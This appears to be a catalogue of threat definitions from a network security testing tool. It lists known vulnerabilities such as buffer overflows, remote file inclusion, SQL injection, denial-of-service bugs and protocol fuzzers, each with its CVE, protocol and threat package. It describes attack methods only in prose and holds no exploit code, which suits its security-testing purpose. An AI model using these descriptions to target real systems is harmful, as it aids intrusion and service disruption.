Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Exchange Server handles email messages. The vulnerability is a result of insufficient boundary checking when processing MIME content inside email messages. An attacker can exploit this vulnerability for code execution by sending a specially crafted email to an account on the target server. Any code injected using this vulnerability would be executed in the System security context. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2007-0213
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_OCTET_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_OCTET.xml (IPv6 Version)
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is octet (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ethereal_slimp_IPv6.xml
Executive Description:	Ethereal SLIMP DOS (IPv6 Version)
Detailed Description:	This threat sends a malformed SLIMP packet that causes ethereal protocol sniffer to crash. This can be used to hide an attackers tracks, or launch code on the sniffers machine. This threat sends out a single UDP packet to port 1069. (IPv6 Version)
Protocol Type:	SLIMP/IPv6
CVEID:	CVE-2005-3243
OSVDB:	20126
Threat Package:	Standard
Threat File Name:	sendmail_decode.xml
Executive Description:	Sendmail UUDecode Vulnerability
Detailed Description:	This threat can cause older versions of sendmail to create a file in an arbitrary position specified by an attacker. This is done by taking advantage of a UUEncoding and Decoding feature present in older implementations. Sendmail is a SMTP server, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-1999-0096
OSVDB:	196
Threat Package:	Standard
Threat File Name:	TSL20160630-09_WECON_LeviStudio_ScreenInfo_ScrnName_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	WECON LeviStudio ScreenInfo ScrnName Heap Buffer Overflow (IPv6 version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML ScrnName attribute of the ScreenInfo tag in LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP, IPv6
Threat File Name:	FSC20081209-12_Microsoft_Windows_GDI_WMF_File_HeaderSize_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDI WMF File HeaderSize Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to an integer overflow while handling WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the affected application will terminate resulting in the loss of any unsaved data from the current session. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2249
Threat Package:	Standard

Threat File Name:	ms06-040_IPv6.xml
Executive Description:	MS06-040 Server Service Attack (IPv6 Version)
Detailed Description:	This threat attacks the server service in windows that listens on port 445 (SMB). This is the bug that was documented in ms06-040. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2006-3439
Threat Package:	Standard
Threat File Name:	mysql_commander_cmi.xml
Executive Description:	MySQL Commander <= 2.7 (home) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. MySQL Commander is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1439
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_formatn_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with %n (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with %n from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20121005-01_Apple_Safari_WebKit_CSS_Title_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit CSS Title Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in WebKit, a component of Apple Safari. The vulnerability is due to improper handling of a CSS style for a title element, which can lead to memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Safari. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-3684
OSVDB:	85376
Threat File Name:	TSL20170623-04_JasPer_jp2_decode_Out_of_Bounds_Read_IPv6.xml
Executive Description:	JasPer jp2_decode Out of Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds array indexing vulnerability has been reported in JasPer. The vulnerability is due to improper handling of objects in memory within the jp2_decode() function of jp2_dec.c. A remote attacker could exploit this vulnerability by supplying a crafted image file to an application using the affected library. Successful exploitation of this vulnerability could lead to denial-of-service conditions or, in the worst case, information disclosure.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-9782
Threat File Name:	sipmultiplecallid_IPv6.xml
Executive Description:	SIP Multiple Call-ID: Headers (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with multiple Call-ID: headers. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20110321-07_RealNetworks_RealPlayer_IVR_Handling_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer IVR Handling Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in RealNetworks RealPlayer. The vulnerability is due to lack of input validation when parsing IVR files. The application uses a 32-bit value provided in the file as the size of the buffer that should be allocated. An attacker can exploit this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	TSL20120403-02_IBM_Tivoli_Provisioning_Manager_Express_Isig_isigCtl.1_ActiveX_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Provisioning Manager Express Isig.isigCtl.1 ActiveX Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Provisioning Manager Express for Software Distribution. Specifically, the flaw exists in the way the Isig.isigCtl.1 ActiveX Control parses data supplied to the RunAndUploadFile() method.A remote attacker can exploit this vulnerability by enticing a user to visit a malicious web site. Successful exploitation allows arbitrary code execution under the security context of the current user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0198
OSVDB:	79735
Threat File Name:	ath0.xml
Executive Description:	+++ath0 Modem Hangup Bug
Detailed Description:	Sends an ICMP Ping packet with the string "+++ath0" in the payload. This will cause modems without a wait guard to immediately hang up.
Protocol Type:	ICMP
CVEID:	CVE-1999-1228
OSVDB:	12973
Threat Package:	Standard
Threat File Name:	FSC20080402-05_McAfee_ePolicy_Orchestrator_Framework_Services_HTTP_Buffer_Overflow.xml
Executive Description:	McAfee ePolicy Orchestrator Framework Services HTTP Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in McAfee Framework Services used in McAfee ePolicy Orchestrator and other products. Specifically, the vulnerability is due to a boundary error when handling of HTTP requests passed to the port 8081/TCP of the product. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted request to the target host. A successful exploitation of this vulnerability can allow for code execution with the privileges of the affected service, or cause a denial of service condition. In an attack case where code injection is not successful, the affected service will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080421-06_Adobe_Multiple_Products_BMP_Image_Header_Handling_Buffer_Overflow.xml
Executive Description:	Adobe Multiple Products BMP Image Header Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way multiple Adobe products parse BMP files. The vulnerability is due to boundary errors while handling BMP files Image Header. An attacker may exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1765
Threat Package:	Standard
Threat File Name:	TSL20130311-06_Corel_WordPerfect_Document_Processing_Buffer_Overflow.xml
Executive Description:	Corel WordPerfect Document Processing Buffer Overflow
Detailed Description:	A code execution vulnerability has been reported in Corel WordPerfect. The vulnerability is due to an error in wpwin16.exe while processing WordPerfect documents. This can lead to heap memory corruption. An attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file with a vulnerable version of the application. This can lead to arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,SMTP,POP3,SMB/CIFS,IMAP
CVEID:	CVE-2012-4900
OSVDB:	91041
Threat File Name:	fuzz-Ethernet_pktType.xml
Executive Description:	Fuzzer for Protocol:Ethernet and Field:pktType
Detailed Description:	
Protocol Type:	Ethernet
Threat Package:	Fuzzing
Threat File Name:	FSC20070814-13_Microsoft_Windows_Media_Player_Skin_Decompression_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media Player Skin Decompression Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Windows Media Player. The vulnerability is caused due to a boundary error when decompressing the encoded data from WMZ and WMD files. A remote attacker can exploit this vulnerability by enticing the target user to open crafted WMZ and WMD files, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3035
Threat Package:	Standard
Threat File Name:	mybb_abp.xml
Executive Description:	MyBulletinBoard (MyBB) 1.1.3 Authentication Bypass
Detailed Description:	This threat sends a crafted HTTP GET query containing parameters intended for an administrative user, this threat then grants administrative privlidges to the attacking user. MyBulletinBoard is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150126-06_PHP_exif_Extension_exif_read_data_NULL_Pointer_Dereference_IPv6.xml
Executive Description:	PHP exif Extension exif_read_data NULL Pointer Dereference IPv6 version.
Detailed Description:	A code execution vulnerability exists in PHP's exif extension. The vulnerability is due to a NULL Pointer dereference inside the exif_read_data function. A remote attacker can exploit this vulnerability by sending crafted picture data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly result in remote code execution.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2015-0232
OSVDB:	117467
Threat File Name:	phpraid_cmi_b.xml
Executive Description:	phpRaid Remote File Inclusion
Detailed Description:	This threat sends a crafted url containing a local or remote path to PHP or HTML via auth.php "phpbb_root_path" parameter which is included by the server allowing arbitrary remote code execution. phpRaid is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2283
Threat Package:	Standard
Threat File Name:	TSL20161213-15_Microsoft_Excel_CVE-2016-7262_Security_Feature_Bypass.xml
Executive Description:	Microsoft Excel CVE-2016-7262 Security Feature Bypass
Detailed Description:	A security feature bypass vulnerability has been reported in Microsoft Excel. This vulnerability is due to insufficient validation of user supplied input prior to opening/executing embedded content. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow command execution under the security context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMTP, SMB/CIFS
CVEID:	CVE-2016-7262

Threat File Name:	FSC20060704-16_Linux_Kernel_SCTP_Chunkless_Packet_Denial_of_Service_IPv6.xml
Executive Description:	Linux Kernel SCTP Chunkless Packet Denial of Service (IPv6 Version)
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of SCTP packets by the netfilter module, namely those without any Chunk elements. By sending a crafted SCTP packet to a target host, an attacker may exploit this vulnerability to shut down a vulnerable host, thus creating a system wide denial of service condition. (IPv6 Version)
Protocol Type:	SCTP/IPv6
CVEID:	CVE-2006-2934
Threat Package:	Standard
Threat File Name:	brewblogger_sqlii_IPv6.xml
Executive Description:	BrewBlogger 1.3.1 (printLog.php)SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. BrewBlogger is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081014-19_Microsoft_Excel_REPT_Function_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel REPT Function Integer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is due to improper parsing of Excel documents containing specially crafted REPT function. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4019
Threat Package:	Standard
Threat File Name:	FSC20080710-09_Novell_eDirectory_LDAP_NULL_Search_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	Novell eDirectory LDAP NULL Search Parameter Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Novell eDirectory. The flaw is due to incorrect calculation when allocating a heap buffer to store search parameters. An unauthenticated remote attacker could exploit this vulnerability by sending a crafted search request to the system. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process, normally System for Windows platforms, or root for Unix platforms. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2008-1809
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_pipe.xml
Executive Description:	Fuzz SMTP HELO verb with
Detailed Description:	Fuzzes the SMTP HELO Parameter with from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20150210-09_Microsoft_Windows_TrueType_Font_File_Parsing_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows TrueType Font File Parsing Remote Code Execution.
Detailed Description:	A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to the way Windows handles crafted TrueType fonts. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with kernel permissions.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0059
OSVDB:	118179
Threat File Name:	FSC20100727-08_Apple_QuickTime_Streaming_Debug_Error_Logging_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Streaming Debug Error Logging Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime media player. The vulnerability is due to a boundary error in the QuickTimeStreaming.gtx file while writing a debug log error. Remote attackers could exploit this vulnerability by enticing target users to open a crafted SMIL file containing an overly long URL. Successful exploitation would result in arbitrary code injection and execution with the privileges of the logged in user. In case of an unsuccessful exploit, the application would terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2010-1799
Threat File Name:	TSL20150224-01_PHP_Date_Time_Object_Unserialize_Use_After_Free_IPv6.xml
Executive Description:	PHP Date Time Object Unserialize Use After Free IPv6 version.
Detailed Description:	A code execution vulnerability has been reported in PHP. The vulnerability is due to a use-after-free error when handling serialized Date/Time objects within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialized data to a web application running a vulnerable version of PHP. A successful attack will result in remote code execution under the context of the service running PHP.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-0273
OSVDB:	118589
Threat File Name:	TSL20170313-07_HPE_Intelligent_Management_Center_CommonUtils_ZIP_Directory_Traversal_IPv6.xml
Executive Description:	HPE Intelligent Management Center CommonUtils ZIP Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on uploaded ZIP files handled by the CommonUtils class. A remote attacker can exploit this vulnerability by sending an HTTP request containing a maliciously crafted ZIP file. Successful exploitation could result in the execution of arbitrary code under the context of the SYSTEM user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5793

Threat File Name:	FSC20071010-03_Adobe_Pagemaker_MAIPM6_DLL_Long_Font_Name_Buffer_Overflow.xml
Executive Description:	Adobe Pagemaker MAIPM6.DLL Long Font Name Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Adobe PageMaker processes PMD files. The vulnerability is due to lack of input validation while parsing font name strings in PMD files. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PMD files, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5169
Threat Package:	Standard
Threat File Name:	clamav_upx_iof.xml
Executive Description:	Clam AntiVirus Win32-UPX Heap Overflow
Detailed Description:	This threat attempts an HTTP download of a malicious UPX packed PE executable file, this file causes an integer overflow in non-default configured installations of ClamAV. This threat is delivered via HTTP which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1614
Threat Package:	Standard
Threat File Name:	x86NOOPudpSGI.xml
Executive Description:	UDP x86 NOOP Variant SGI
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	FSC20040803-01_Microsoft_Internet_Explorer_Malformed_GIF_File_Double_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Malformed GIF File Double Free Vulnerability (IPv6 Version)
Detailed Description:	A double free vulnerability exists in the way Microsoft Internet Explorer handles images of the GIF file format. This vulnerability can be exploited by enticing a user to view a web page or email message containing a specially crafted .gif file. Successful exploitation can lead to a client compromise and possible remote code execution. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-1048
Threat Package:	Standard
Threat File Name:	TSL20111104-02_Nullsoft_Winamp_Advanced_Module_Format_File_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Advanced Module Format File Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Nullsoft Winamp. This vulnerability is due to a heap buffer overflow while handling crafted .amf files. Remote attackers can exploit this vulnerability by enticing the target user to open specially crafted files. Successful exploitation would lead to to arbitrary code execution in the security context of the logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	ie6_checkbox_rce_IPv6.xml
Executive Description:	Internet Explorer Checkbox Remote Code Execution Exploit (IPv6 Version)
Detailed Description:	This server based threat delivers an html document which causes internet to access an invalid element via the "document.getElementById().createTextRange()" method, which can be used to effect EIP and execute arbitrary code. Internet Explorer is a web browser which typically connects using port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	newsbinpro_bof_IPv6.xml
Executive Description:	News Bin Pro 5.33 .NBI File Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a http server to deliver a malicious nbi file resulting in a buffer overflow and code execution in the News Bin Pro client application. News Bin Pro is a client application, this threat uses a web server listening on port 80 to deliver the payload. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1074
Threat Package:	Standard
Threat File Name:	TSL20110802-01_ESTsoft_ALZip_MIM_File_Processing_Buffer_Overflow.xml
Executive Description:	ESTsoft ALZip MIM File Processing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in ESTsoft ALZip product. The vulnerability exists in libETC.dll library and is due to improper processing of the filename or name parameter within MIM file headers which will result in a stack-buffer overflow if an overly long filename is provided. A remote attacker can exploit this vulnerability to execute arbitrary code. A remote unauthenticated attacker could exploit the vulnerability by convincing a user to open a malicious file and execute arbitrary code in the context of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-1336
Threat File Name:	FSC20071126-21_Mozilla_Firefox_Layout_Frame_Constructor_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox Layout Frame Constructor Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Firefox products. The flaw is due to improper handling of certain HTML elements in the layout component. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5959
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_NETASCII.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_NETASCII.xml
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is netascii
Protocol Type:	TFTP
Threat Package:	Fuzzing

Threat File Name:	tomcat_webdav_file_disclosure_IPv6.xml
Executive Description:	Apache Tomcat (webdav) Remote File Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages an absolute path traversal vulnerability in Apache Tomcat which allows reading of arbitrary files via a WebDAV write request with a SYSTEM tag, thus resulting in information disclosure. Apache Tomcat is a web server and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5461
Threat Package:	Standard
Threat File Name:	TSL20140618-11_Symantec_Web_Gateway_Multiple_PHP_Pages_Cross_Site_Scripting_IPv6.xml
Executive Description:	Symantec Web Gateway Multiple PHP Pages Cross Site Scripting IPv6 version.
Detailed Description:	A cross-site scripting vulnerability exists in Symantec Web Gateway. The vulnerability is due to improper validation of "variable[]";, "operator[]";, "other[]"; and "operand[]"; parameters of several php pages including but not limited to "entSummary.php";, "custom_report.php";, "host_spy_report.php";. An attacker can exploit this vulnerability by enticing a user to click on a malicious link. A successful attack will result in execution of arbitrary script code in the context of the affected user's browser session.and "repairedclients.php"; pages.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-1652
OSVDB:	108184
Threat File Name:	TSL20050825-01_Apache_Byte-Range_Filter_Denial_of_Service.xml
Executive Description:	Apache Byte-Range Filter Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Apache HTTP Server byte-range filter. The vulnerability occurs during the handling of requests that include a byte-range value, when HTTP Server is configured to act as a proxy. This flaw can cause the excess consumption of memory resources. A remote attacker can exploit the vulnerability by sending specially crafted HTTP requests to the target server, potentially causing denial of service. A successful attack leveraging this vulnerability can cause Apache httpd to allocate significant amounts of memory. If a malicious user keeps sending the crafted HTTP request to the target host, a denial-of-service occurs.
Protocol Type:	
CVEID:	CVE-2005-2728
Threat File Name:	nmapTimestamp_IPv6.xml
Executive Description:	nmap Timestamp Scan (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of nmap when performing a scan using the ping by timestamp option. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	FSC20100826-09_Oracle_MySQL_Database_Unique_SET_Column_Join_Denial_of_Service_IPv6.xml
Executive Description:	Oracle MySQL Database Unique SET Column Join Denial of Service (IPv6 Version)
Detailed Description:	A Denial of Service vulnerability exists in Oracle MySQL database server. The vulnerability is due to an error while handling joins involving a table with a unique SET column. Remote authenticated attackers can exploit this vulnerability by sending malicious command packets to the server that causes a join with aforementioned condition. Successful exploitation would cause the target server to terminate, denying service to all users until the server is restarted.
Protocol Type:	IPv6,MYSQL
Threat Package:	Standard
Threat File Name:	FSC20040811-01_Microsoft_Windows_Large_Image_Resize_DoS_IPv6.xml
Executive Description:	Microsoft Windows Large Image Resize DoS (IPv6 Version)
Detailed Description:	While rendering a normal image with excessively large resizing parameters in an HTML page, numerous applications could cause a infinite loop in the FrameBuffer display driver of Windows and eventually crash the system, leading to a Denial of Service condition. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	qt_movie_std.xml
Executive Description:	Quicktime STSD Heap Overflow
Detailed Description:	This threat causes corruption in the heap of the Apple Quicktime player. This is performed by adjusting a size field in the file. This threat is movie file and typically comes from a malicious web server over port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4092
OSVDB:	21941
Threat Package:	Standard
Threat File Name:	FSC20081209-09_Microsoft_Word_dpcallout_RTF_Control_Word_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Word dpcallout RTF Control Word Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Word products. The flaw is due to an logic error when processing RTF documents that contain unexpected control words following a dpcallout control word. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4028
Threat Package:	Standard
Threat File Name:	finger_root.xml
Executive Description:	Finger Root

Detailed Description:	This mimics the query sent by the finger program to the finger daemon (port 79), asking for information about root's account. This can be used to glean information about the account on the UNIX machine, and can cause a prevention of login in some versions of Solaris.
Protocol Type:	Finger
CVEID:	CVE-1999-0612
OSVDB:	11451
Threat Package:	Standard
Threat File Name:	TS20170405-03_HPE_Intelligent_Management_Center_RMI_Registry_Insecure_Deserialization_IPv6.xml
Executive Description:	HPE Intelligent Management Center RMI Registry Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to deserialization of untrusted data by RMI Registry while having vulnerable classes in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted serialized object. Successful exploitation results in arbitrary code execution under the context of the SYSTEM or root user.
Protocol Type:	RMI,IPv6
CVEID:	CVE-2017-5792
Threat File Name:	NCTAudioFile2_sof_IPv6.xml
Executive Description:	NCTsoft Products NCTAudioFile2 ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioFile ActiveX application, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0018
Threat Package:	Standard
Threat File Name:	FSC20091208-12_Microsoft_WordPad_and_Office_Text_converter_Integer_Overflow.xml
Executive Description:	Microsoft WordPad and Office Text converter Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft WordPad and Office Text converter. The vulnerability is due to lack of input validation while parsing specially crafted Word 97 documents. Remote attackers can exploit this vulnerability by enticing a target user to open a malicious Word 97 document, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2506
Threat Package:	Standard
Threat File Name:	FSC20100318-05_Liquid_XML_Studio_LtXmlComHelp8_dll_ActiveX_OpenFile_Buffer_Overflow.xml
Executive Description:	Liquid XML Studio LtXmlComHelp8.dll ActiveX OpenFile Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Liquid XML Studio software. Specifically, the vulnerability is in the LtXmlComHelp8.dll ActiveX control with the ClassID "E68E401C-7DB0-4F3A-88E1-159882468A79", it is caused by a boundary error while parsing arguments passed to the "OpenFile()" function. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would result in a stack buffer overflow allowing for arbitrary code injection and execution with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	FSC20080610-15_Microsoft_Internet_Explorer_HTML_Objects_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Objects Memory Corruption
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Internet Explorer. The vulnerability is due to improper validation of the length value passed to a certain method call to an HTML object. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1442
Threat Package:	Standard
Threat File Name:	FSC20090310-04_IBM_Director_CIM_Server_Consumer_Name_Handling_Denial_of_Service.xml
Executive Description:	IBM Director CIM Server Consumer Name Handling Denial of Service
Detailed Description:	A design weakness exists in the CIM Server of IBM Director. The vulnerability is due to errors when processing certain types of requests. A remote attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would be a denial of service (DoS) condition of System Director services on the target host. In a successful attack case, the affected server will terminate and will not be available until the service is manually restarted.
Protocol Type:	TCP
CVEID:	CVE-2009-0879
Threat Package:	Standard
Threat File Name:	FSC20091125-03_Sun_MySQL_Database_PROCEDURE_ANALYSE_Denial_of_Service.xml
Executive Description:	Sun MySQL Database PROCEDURE ANALYSE Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in MySQL database server. The vulnerability is due to an input validation error while parsing a specially crafted query containing a view using temporary tables and PROCEDURE ANALYSE. Remote authenticated users can exploit this vulnerability to cause a denial of service condition. Successful exploitation would cause the database service to terminate abnormally.
Protocol Type:	MySQL
Threat Package:	Standard
Threat File Name:	TS20170127-05_OpenSSL_ChaCha20-Poly1305_and_RC4-MD5_Integer_Underflow_IPv6.xml
Executive Description:	OpenSSL ChaCha20-Poly1305 and RC4-MD5 Integer Underflow (IPv6 Version)
Detailed Description:	An integer underflow vulnerability leading to an out of bounds read has been reported in OpenSSL. This vulnerability is due to the handling of truncated blocks in 32-bit versions of OpenSSL when using the ChaCha20-Poly1305 cipher in OpenSSL 1.1.x and the RC4-MD5 cipher in OpenSSL 1.0.x A remote attacker could exploit this vulnerability by sending a crafted packet to an affected application. Successful exploitation results in denial of service conditions on the affected service.

